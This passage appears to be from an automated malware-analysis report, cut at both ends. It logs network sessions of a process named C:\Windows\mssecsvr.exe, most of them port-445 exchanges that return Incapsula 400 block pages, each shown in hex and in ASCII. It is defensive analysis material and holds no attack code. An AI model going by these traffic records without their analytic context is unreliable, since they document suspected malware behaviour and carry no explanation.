32 36 31 35 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 34 30 39 39 30 32 38 34 34 30 36 36 39 32 36 31 35 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-76068158-0%200NNN%20RT%281658338383375%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-409902844066926154&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-409902844066926154</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	45.60.207.12	445	192.168.2.7	56187	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:07.272849083 CEST	11338	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 14-185762630-0 0NNN RT(1658338386436 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 38 35 37 36 32 36 33 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 36 34 33 36 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 39 32 36 35 31 33 38 34 39 38 37 30 38 34 37 35 36 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 39 32 36 35 31 33 38 34 39 38 37 30 38 34 37 35 36 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-185762630-0%200NNN%20RT%281658338386436%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-926513849870847566&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-926513849870847566</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	45.60.207.13	445	192.168.2.7	56192	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:07.394974947 CEST	11341	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 3-2159422-0 0NNN RT(1658338387162 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 33 2d 32 31 35 39 34 32 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 37 31 36 32 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 30 32 32 34 37 38 38 31 34 31 33 31 34 38 31 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 30 32 32 34 37 38 38 31 34 31 33 31 34 38 31 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-2159422-0%200NNN%20RT%281658338387162%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-10224788141314819&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-10224788141314819</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	45.60.207.13	445	192.168.2.7	56445	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:10.442255974 CEST	11365	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 692 X-Iinfo: 1-527650-0 0NNN RT(1658338390213 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 2d 35 32 37 36 35 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 30 32 31 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 35 31 39 33 34 31 39 33 34 33 38 33 38 37 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 35 31 39 33 34 31 39 33 34 33 38 33 38 37 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=1-527650-0%200NNN%20RT%281658338390213%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-2519341934383873&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-2519341934383873</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	45.60.207.14	445	192.168.2.7	56448	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:10.565006971 CEST	11367	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 9-32176697-0 0NNN RT(1658338390014 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 33 32 31 37 36 36 39 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 30 30 31 34 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 36 38 38 31 37 31 35 35 36 34 32 38 32 33 36 32 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 36 38 38 31 37 31 35 35 36 34 32 38 32 33 36 32 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-32176697-0%200NNN%20RT%281658338390014%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-168817155642823625&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-168817155642823625</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	45.60.207.14	445	192.168.2.7	56704	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:13.612862110 CEST	11378	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 5-38589162-0 0NNN RT(1658338393061 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 33 38 35 38 39 31 36 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 33 30 36 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 38 32 30 36 37 35 33 35 36 30 39 32 35 31 32 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 38 32 30 36 37 35 33 35 36 30 39 32 35 31 32 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-38589162-0%200NNN%20RT%281658338393061%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-198206753560925125&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-198206753560925125</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	50201	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	45.60.207.15	445	192.168.2.7	56707	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:13.745062113 CEST	11381	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 2-170194674-0 0NNN RT(1658338393153 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 32 2d 31 37 30 31 39 34 36 37 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 33 31 35 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 38 37 30 39 38 35 31 32 33 38 38 35 35 35 32 33 32 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 38 37 30 39 38 35 31 32 33 38 38 35 35 35 32 33 32 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=2-170194674-0%200NNN%20RT%281658338393153%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-870985123885552322&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-870985123885552322</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	45.60.207.15	445	192.168.2.7	56932	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:16.788906097 CEST	11389	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 2-170194899-0 0NNN RT(1658338396196 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 